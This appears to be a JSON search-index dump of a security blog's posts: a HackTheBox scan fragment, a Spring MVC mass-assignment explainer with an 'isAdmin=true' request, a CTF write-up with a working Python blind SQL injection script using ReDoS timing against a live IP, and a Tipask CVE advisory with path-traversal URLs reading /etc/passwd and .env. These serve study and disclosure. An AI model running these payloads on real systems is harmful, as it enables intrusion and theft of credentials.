class=\"nl\"\u003ed:a2:b0:ca:\u003c/span\u003e\u003cspan class=\"il\"\u003e44\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"vg\"\u003ea8\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vg\"\u003eED25519\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"il\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"vg\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"vg\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"vg\"\u003eApache\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ehttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.4.29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"vg\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"nl\"\u003emethods:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"vg\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"vg\"\u003eSupported\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003eMethods:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003eGET\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ePOST\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eOPTIONS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eHEAD\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"vg\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eApache2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eDefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003ePage:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eIt\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eworks\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"vg\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"vg\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"nl\"\u003eheader:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eApache\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mf\"\u003e2.4.29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vg\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"vg\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003eInfo:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003eOS:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003eCPE:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003ecpe:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nl\"\u003eo:linux:\u003c/span\u003e\u003cspan class=\"vg\"\u003elinux_kernel\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDirectory scanning:\u003c/p\u003e","title":"HackTheBox: Tenet Notes"},{"content":"0x01 BackGround Spring MVC, the Spring Web model-view-controller (MVC) framework Software frameworks sometimes allow developers to automatically bind HTTP request parameters into objects, making it easier for developers to build with the framework. Updates to the framework or business implementation can introduce new parameters that, in turn, affect variables or object parameters in the program code that were not meant to be set.\nRuby on Rails, NodeJS, and Spring MVC all have this feature, and it frequently leads to vulnerabilities (it can be understood as property injection),\nBecause of this vulnerability, Rails\u0026rsquo; repository on GitHub was compromised in 2012, see: https://lwn.net/Articles/485675/ Vulnerability name: Spring MVC Data Submission to Non-Editable Fields Vulnerability type: improper framework usage (business logic flaw) Taking Spring MVC as an example, here is a demonstration of vulnerable code.\nThis is the class definition:\npublic class User { private String userid; private String username; private String phone; private String email; private boolean isAdmin; //Getters \u0026amp; Setters } This is the controller that handles the request:\n@RequestMapping(value = \u0026#34;/addUserInfo\u0026#34;, method = RequestMethod.POST) public String submit(User user) { userService.add(user); return \u0026#34;successPage\u0026#34;; } This is a typical request:\nPOST /addUser ... userid=bobbytables\u0026amp;password=hashedpass\u0026amp;email=bobby@tables.com And this is the exploit that sets the value of the isAdmin class instance property on the User object:\nPOST /addUser ... userid=bobbytables\u0026amp;password=hashedpass\u0026amp;email=bobby@tables.com\u0026amp;isAdmin=true Depending on the scenario, this can lead to vulnerabilities such as broken access control (IDOR).\nOf course, for this to become an actual vulnerability, a few conditions must line up — the prerequisites for the flaw to exist, including:\nThe Views layer must have corresponding rendering logic, such as a form The corresponding setter and getter are implemented There is a feature point that genuinely allows editing/adding, and it performs no server-side validation (or only client-side validation, client side data validation) 0x02 White-box Check Developers blindly trust that the objects they obtain come from a trusted source, when in fact an attacker can arbitrarily modify the object\u0026rsquo;s values. It is hard to say exactly how widespread variable binding vulnerabilities and similar flaws are, but auto-binding vulnerabilities are indeed very broadly distributed (due to the nature of the feature that produces them). Moreover, variable binding vulnerabilities are not limited to HTTP parameters; in theory they can appear anywhere (JSON or XML), as long as the data can be converted and used for assignment. Of course, the actual impact of each variable binding vulnerability still depends on the business logic of the code and the various properties it uses. 1) @ModelAttribute on a method parameter @RequestMapping(value=\u0026#34;/owners/{ownerId}/pets/{petId}/edit\u0026#34;, method = RequestMethod.POST) public String processSubmit(@ModelAttribute Pet pet) {//【1】 } BindingResult To inspect errors in data binding (missing parameters / type conversion failures), \u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;BindingResult\u0026lt;/font\u0026gt; is often used, for example:\n@RequestMapping(value=\u0026#34;/owners/{ownerId}/pets/{petId}/edit\u0026#34;, method = RequestMethod.POST) public String processSubmit(@ModelAttribute(\u0026#34;pet\u0026#34;) Pet pet, BindingResult result) { if (result.hasErrors()) {//【1’】 return \u0026#34;petForm\u0026#34;; } // ... } Parameter validation There are two approaches. The first is the \u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;@Valid\u0026lt;/font\u0026gt; annotation for automatic validation, from JSR-303 (a Java Specification Request, Bean Validation); see Java Data Validation: JSR-303 — xueguchen\u0026rsquo;s blog on CSDN\n@RequestMapping(value=\u0026#34;/owners/{ownerId}/pets/{petId}/edit\u0026#34;, method = RequestMethod.POST) public String processSubmit(@Valid @ModelAttribute(\u0026#34;pet\u0026#34;) Pet pet, BindingResult result) { //【！】 if (result.hasErrors()) { return \u0026#34;petForm\u0026#34;; } // ... } Constraint\tDetails @Null\tThe annotated element must be null @NotNull\tThe annotated element must not be null @AssertTrue\tThe annotated element must be true @AssertFalse\tThe annotated element must be false @Min(value)\tThe annotated element must be a number whose value must be greater than or equal to the specified minimum @Max(value)\tThe annotated element must be a number whose value must be less than or equal to the specified maximum @DecimalMin(value)\tThe annotated element must be a number whose value must be greater than or equal to the specified minimum @DecimalMax(value)\tThe annotated element must be a number whose value must be less than or equal to the specified maximum @Size(max, min)\tThe size of the annotated element must be within the specified bounds @Digits (integer, fraction)\tThe annotated element must be a number whose value must be within acceptable bounds @Past\tThe annotated element must be a date in the past @Futuret\tThe annotated element must be a date in the future @Pattern(value)\tThe annotated element must match the specified regular expression The second is a custom Validator:\n@RequestMapping(value=\u0026#34;/owners/{ownerId}/pets/{petId}/edit\u0026#34;, method = RequestMethod.POST) public String processSubmit(@ModelAttribute(\u0026#34;pet\u0026#34;) Pet pet, BindingResult result) { new PetValidator().validate(pet, result);//【1’’】 if (result.hasErrors()) { return \u0026#34;petForm\u0026#34;; } // ... } 2) The @ModelAttribute annotation on a method // Add one attribute // The return value of the method is added to the model under the name \u0026#34;account\u0026#34; // You can customize the name via @ModelAttribute(\u0026#34;myAccount\u0026#34;) @ModelAttribute\t//【1】 public Account addAccount(@RequestParam String number) { return accountManager.findAccount(number); } // Add multiple attributes @ModelAttribute\t//【2】 public void populateModel(@RequestParam String number, Model model) { model.addAttribute(accountManager.findAccount(number)); // add more ... } 3) The @SessionAttribute annotation on a class Scope\nBy default, Spring MVC stores model data in the request scope.\nOnce the request ends, the data expires. To use it across pages, you need the session, and the @SessionAttributes annotation lets model data also be stored in the session scope.\n@SessionAttributes(value={\u0026#34;names\u0026#34;},types={Integer.class}) @Controller public class Test { @RequestMapping(\u0026#34;/test\u0026#34;) public String test(Map\u0026lt;String,Object\u0026gt; map){ map.put(\u0026#34;names\u0026#34;, Arrays.asList(\u0026#34;caoyc\u0026#34;,\u0026#34;zhh\u0026#34;,\u0026#34;cjx\u0026#34;)); map.put(\u0026#34;age\u0026#34;, 18); return \u0026#34;hello\u0026#34;; } } 4) Specifying redirect and flash attributes (RedirectAttributes) @Controller public class ControllerOne { @RequestMapping(value=\u0026#34;mybook\u0026#34;, method = RequestMethod.GET) public ModelAndView book(){ return new ModelAndView(\u0026#34;book\u0026#34;,\u0026#34;book\u0026#34;,new Book()); } @RequestMapping(value = \u0026#34;/save\u0026#34;, method = RequestMethod.POST) public RedirectView save(@ModelAttribute(\u0026#34;book\u0026#34;) Book book, RedirectAttributes redirectAttrs) {\t//【！】 redirectAttrs.addAttribute(\u0026#34;msg\u0026#34;, \u0026#34;Hello World!\u0026#34;); redirectAttrs.addFlashAttribute(\u0026#34;book\u0026#34;, book.getBookName()); redirectAttrs.addFlashAttribute(\u0026#34;writer\u0026#34;, book.getWriter()); RedirectView redirectView = new RedirectView(); redirectView.setContextRelative(true); redirectView.setUrl(\u0026#34;/hello/{msg}\u0026#34;); return redirectView; } } RedirectView can be used as a URI template; template values are automatically substituted from the same keys in [Model or RedirectAttributes].\n0x03 Black-box Detect At first glance, finding auto-binding vulnerabilities with a \u0026ldquo;black-box\u0026rdquo; approach seems impossible. But there are still some methods:\nTypically, parameter names equal the object field names (though not necessarily, since this is configurable). Since fields are usually named in particular ways, we can distinguish them. Notably, auto-binding also works with HashMaps and arrays. Where auto-binding is used in a controller method, when we send two parameters with the same name, the value in the object will be the concatenation of the parameters, for example: # Request with parameters: ?name=text1\u0026amp;name=text2 # Result: ObjectWithNameField.name = text1,text2 It feels a bit like ASPX parameters:\nIn ASPX, there is a rather special behavior: when the parameter id is submitted simultaneously via GET/POST/COOKIE, the server-side order in which it receives the parameter id is GET, POST, COOKIE, joined in between by commas\nFUZZ. Once we have collected all parameter names, we can send them to every entry point (URL) — even those that at first glance accept no parameters (e.g. resetViewQuestionHandler) — and check whether the responses differ from, or match, the responses without parameters. 0x04 Remediation Recommendations Include in the DTO only fields the user is allowed to edit: public class UserRegistrationFormDTO { private String username; private String password; private String email; //Getters \u0026amp; Setters } Modify the controller layer to accept only the parameters the user is allowed to change (explicitly declared): @RequestMapping(value = \u0026#34;/addUserInfo\u0026#34;, method = RequestMethod.POST) public String submit(String username,String phone,String email) { userService.add(username,phone,email); return \u0026#34;successPage\u0026#34;; } You can also set up a whitelist: @Controller public class UserController { @InitBinder public void initBinder(WebDataBinder binder, WebRequest request) { binder.setDisallowedFields([\u0026#34;isAdmin\u0026#34;]); } ... } Refs https://code.tutsplus.com/tutorials/mass-assignment-rails-and-you\u0026ndash;net-31695\nhttps://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf\nThat paper also mentions SPRING MVC MODELVIEW INJECTION, https://vulners.com/myhack58/MYHACK58:62201787105\nhttps://xz.aliyun.com/t/128\nGitHub was hacked via the mass assignment vulnerability, https://lwn.net/Articles/485675/\nAn interesting discussion: https://github.com/rails/rails/issues/5228 https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html (recommended)\nJava Data Validation: JSR-303 — xueguchen\u0026rsquo;s blog on CSDN\nhttps://www.concretepage.com/spring/spring-mvc/spring-mvc-redirectview\nSecond update:\nPractice lab: https://github.com/GrrrDog/ZeroNights-HackQuest-2016 https://xz.aliyun.com/t/128 ","permalink":"https://www.unc.la/en/posts/penetration/spring_mvc_autobinding/","summary":"\u003ch1 id=\"0x01-background\"\u003e0x01 BackGround\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSpring MVC\u003c/strong\u003e, the Spring Web model-view-controller (MVC) framework\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSoftware frameworks sometimes allow developers to automatically bind HTTP request parameters into objects, making it easier for developers to build with the framework. Updates to the framework or business implementation can introduce new parameters that, in turn, affect variables or object parameters in the program code that were not meant to be set.\u003c/p\u003e\n\u003cp\u003eRuby on Rails, NodeJS, and Spring MVC all have this feature, and it frequently leads to vulnerabilities (it can be understood as \u003ccode\u003eproperty injection\u003c/code\u003e),\u003c/p\u003e","title":"A Look at AutoBinding Vulnerabilities in Spring MVC"},{"content":"The Challenge Itself There was no response echo at all, so I first tried FUZZing with ffuf and Burp:\n./ffuf -w /opt/dic/SecLists/Fuzzing/SQLi/Generic-BlindSQLi.fuzzdb.txt -u http://121.40.89.206:8088/index.php -d \u0026#34;username=FUZZ\u0026amp;passwd=\u0026#34; Throughout the whole process there were only two kinds of responses (both 200):\n1) When a forbidden keyword is detected:\nReturns alert('No,way! hacker!'); Content-Length: 42 2) When the input is substituted into the SQL query:\nReturns the homepage content Content-Length: 2175 Here is the SQL fuzzing dictionary as well: https://github.com/H4lo/dictionary/blob/master/sql_fuzz.txt\nSo I fuzzed with all kinds of SQL keywords and determined that the following characters/keywords are allowed:\nfrom schema ( ) * / ! ^ * _ + /**/ || regexp \u0026amp; | hex updatexml extractvalue update delete user version ascii group reverse left right é true length false load_file Approach Since I\u0026rsquo;m not good at finding \u0026ldquo;extreme blind SQL injection\u0026rdquo;, I set it aside after some simple fuzzing. Later the organizers gave a hint:\nUpdate 2021.10.21 10:28:10 [Hint] Do you really understand MySQL regexp matching injection? After some OSINT, I found a similar challenge: REGEXP Injection and LIKE Injection Study Notes - Xianzhi Community\n(1) Single quotes**'**** are banned, but the****backslash \\**** from the article above can be used to form the SQL injection**\nThought: if you cannot escape the single quote, all input is just a string and injection is out of the question — the input must break out of the single quotes (without introducing new single quotes).\n(2) Comment symbols**--**** and **#** are banned**\nThought: without comment symbols, you could also add quotes to make the statement valid SQL syntax, such as ||'\u0026rsquo;`, but since single quotes are banned, this path is blocked.\nLooking through other players\u0026rsquo; solve scripts, they actually used\u0026lt;font style=\u0026quot;color:#F5222D;\u0026quot;\u0026gt;\\x00\u0026lt;/font\u0026gt;for truncation — I was genuinely amazed.\nA Little After-the-Fact Cleverness Why was the password field named passwd instead of password — it\u0026rsquo;s missing an or. Most likely because the final solution would use or, which would get in the way, so it was removed. EXP Both -- and # were banned, and I didn\u0026rsquo;t know how to close the trailing single quote; this is as far as I could get:\nPOST /index.php HTTP/1.1 Host: 121.40.89.206:8088 Content-Length: 52 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://121.40.89.206:8088 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://121.40.89.206:8088/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close username=\\\u0026amp;passwd=||passwd/**/regexp/**/0x5e41/**/||/**/\u0026#39; The final EXP:\nimport requests burp0_url = \u0026#34;http://121.40.89.206:8088/index.php\u0026#34; burp0_headers = {\u0026#34;Cache-Control\u0026#34;: \u0026#34;max-age=0\u0026#34;, \u0026#34;Upgrade-Insecure-Requests\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://121.40.89.206:8088\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://121.40.89.206:8088/\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;zh-CN,zh;q=0.9\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34;} proxy = {\u0026#34;http\u0026#34;:\u0026#34;http://127.0.0.1:8080\u0026#34;,\u0026#34;https\u0026#34;:\u0026#34;https://127.0.0.1:8080\u0026#34;} # ReDoS configuration num = 30000 # Response time ~= 3s \u0026lt;- r.elapsed PADDING = \u0026#34;a\u0026#34;*num REGEX = \u0026#34;(a*b*)\u0026#34;*num + \u0026#34;b\u0026#34; sleep_clause = \u0026#39;(\u0026#34;%s\u0026#34;)REGEXP(\u0026#34;%s\u0026#34;)\u0026#39; % (PADDING, REGEX) result = \u0026#39;\u0026#39; charSets = \u0026#34;abcdefghijklmnopqrstuvwxyz0123456789-_\u0026#34; condition = \u0026#39;passwd/**/REGEXP/**/(\u0026#34;^{tpl}\u0026#34;)\u0026#39; for i in range(64): for c in charSets: payload = \u0026#39;||CASE/**/WHEN/**/{condition}/**/THEN/**/{sleep_clause}/**/ELSE/**/1/**/END;\\x00\u0026#39;.format(condition=condition.format(tpl=str(result + c)), sleep_clause=sleep_clause) burp0_data = {\u0026#34;username\u0026#34;: \u0026#34;a\\\\\u0026#34;, \u0026#34;passwd\u0026#34;: payload} try: r = requests.post(burp0_url, proxies=proxy, data=burp0_data, timeout=2) except requests.exceptions.RequestException: # boolean true result += c print(result) break print(result) # the_p0ssw0rd_th0t_y0u_never_kn0w ReDoS time delay + blind SQL injection + \\x00 truncation + Latin letters to bypass keyword detection\nnull-byte truncation unsafe normalize Refs MySQL/8.0/en/regexp.html#operator_regexp REGEXP Injection and LIKE Injection Study Notes - Xianzhi Community https://www.exploit-db.com/docs/english/17397-blind-sql-injection-with-regular-expressions-attack.pdf ReDoS: https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS http://www.unicode.org/reports/tr36/ ","permalink":"https://www.unc.la/en/posts/penetration/pwnhub-regexp-sqli/","summary":"\u003ch1 id=\"the-challenge-itself\"\u003eThe Challenge Itself\u003c/h1\u003e\n\u003cp\u003eThere was no response echo at all, so I first tried FUZZing with \u003ccode\u003effuf\u003c/code\u003e and Burp:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e./\u003c/span\u003e\u003cspan class=\"n\"\u003effuf\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eopt\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003edic\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eSecLists\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eFuzzing\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eSQLi\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eGeneric\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eBlindSQLi\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efuzzdb\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etxt\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eu\u003c/span\u003e  \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mf\"\u003e121.40.89.206\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8088\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e   \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;username=FUZZ\u0026amp;passwd=\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThroughout the whole process there were only two kinds of responses (both 200):\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1634796770549-a3b9dd94-3bc5-42e8-97e7-6770fff883e7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1) When a forbidden keyword is detected:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReturns \u003ccode\u003ealert('No,way! hacker!');\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eContent-Length: \u003ccode\u003e42\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e2) When the input is substituted into the SQL query:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReturns the homepage content\u003c/li\u003e\n\u003cli\u003eContent-Length: \u003ccode\u003e2175\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHere is the SQL fuzzing dictionary as well: \u003ca href=\"https://github.com/H4lo/dictionary/blob/master/sql_fuzz.txt\"\u003ehttps://github.com/H4lo/dictionary/blob/master/sql_fuzz.txt\u003c/a\u003e\u003c/p\u003e","title":"pwnhub: Internal CTF [Unboxing Together - So_That_Login] Writeup"},{"content":"1.Intro Tipask: Tipask is an open source PHP Question\u0026amp;Answer system developed based on the Laravel framework that is easy to extend and has strong load capacity and stability. Tipask \u0026lt; 3.5.9, which fails to validate the path parameters entered by the user when downloading attachments, a registered user can download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log and so on, causing information leakage. This vulnerability is CREDITED to the following entity: Qi\u0026#39;An Xin Technology Group, Network Security Department, Product-Security Team (1)Vendor Official Site: https://www.tipask.com/\nGithub Repo: https://github.com/sdfsky/tipask\nSource code could be downloaded at: https://www.tipask.com/release/Tipask_v3.5.8_UTF8_20210620.zip\n(2)Description Exploitation of the vulnerability needs an attacker to be logged in as a registered user. By successfully exploiting it, the attacker can download any file on the Tipask server, Affected Version: Tipask ≤ 3.5.8 Fofa dork: https://fofa.so/result?qbase64=YXBwPSJUaXBhc2st5YWs5Y%2B45Lqn5ZOBIg%3D%3D 700+ tipask servers in the wild CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Score: 7.7 (High) Type: Local File Read Since the vendor has CONFIRMED this vulnerability in 2021/09/17, and has patched it via commit 9b5f13, users are able to apply the patch to avoid this vuln. 2.PoC \u0026amp; EXP Once you\u0026rsquo;ve registered and logged in, you can access the following address directly:\nPoC For Linux Server, the PoC is as follows\nhttp://tipask/attach/download/..-..-..-..-..-..-..-etc-hosts EXP https://tipask/attach/download/..-..-.env https://tipask/attach/download/..-logs-laravel.log https://tipask/attach/download/..-..-..-..-..-..-..-etc-passwd The vulnerability involves 1 file:\napp\\Http\\Controllers\\AttachController.php\npath traversal due to no param-check.\nHere is sensitive information that\u0026rsquo;s downloaded via the vuln.\nOf course, mitigations are easy to apply:\nlimiting the directories to be read, such as using basename() to process the user\u0026rsquo;s input parameters User input parameters are prohibited to contain .. The vendor has CONFIRMED this vulnerability in 2021/09/17, and has patched it via commit 9b5f13, users are able to apply the patch to avoid this vuln.\n3.Reference: Code affected: app/Http/Controllers/AttachController.php#L42 Patch: https://github.com/sdfsky/tipask/commit/9b5f13d1708e9a5dc0959cb8a97be1c32b94ca69 ","permalink":"https://www.unc.la/en/posts/penetration/fza5hm/","summary":"\u003ch1 id=\"1intro\"\u003e1.Intro\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eTipask: Tipask is an open source PHP Question\u0026amp;Answer system developed based on the Laravel framework that is easy to extend and has strong load capacity and stability.\u003c/li\u003e\n\u003cli\u003eTipask \u0026lt; \u003ccode\u003e3.5.9\u003c/code\u003e, which fails to validate the path parameters entered by the user when downloading attachments, \u003cstrong\u003ea registered user can download arbitrary files on the Tipask server,\u003c/strong\u003e such as \u003ccode\u003e.env\u003c/code\u003e, \u003ccode\u003e/etc/passwd\u003c/code\u003e, \u003ccode\u003elaravel.log\u003c/code\u003e and so on, causing information leakage.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThis vulnerability is CREDITED to the following entity:\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eQi\u0026#39;An Xin Technology Group, Network Security Department, Product-Security Team\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"1vendor\"\u003e(1)Vendor\u003c/h2\u003e\n\u003cp\u003eOfficial Site: \u003ca href=\"https://www.tipask.com/\"\u003ehttps://www.tipask.com/\u003c/a\u003e\u003c/p\u003e","title":"CVE-2021-41714: Tipask PostAuth LFR"},{"content":"My first submission to pwnhub — I hope to join this excellent community of ours!\n1. Prologue: A True MD5 Collision The challenge:\n\u0026lt;?php error_reporting(0); highlight_file(__FILE__); if ((string)$_GET[\u0026#39;x\u0026#39;] !== (string)$_GET[\u0026#39;y\u0026#39;] 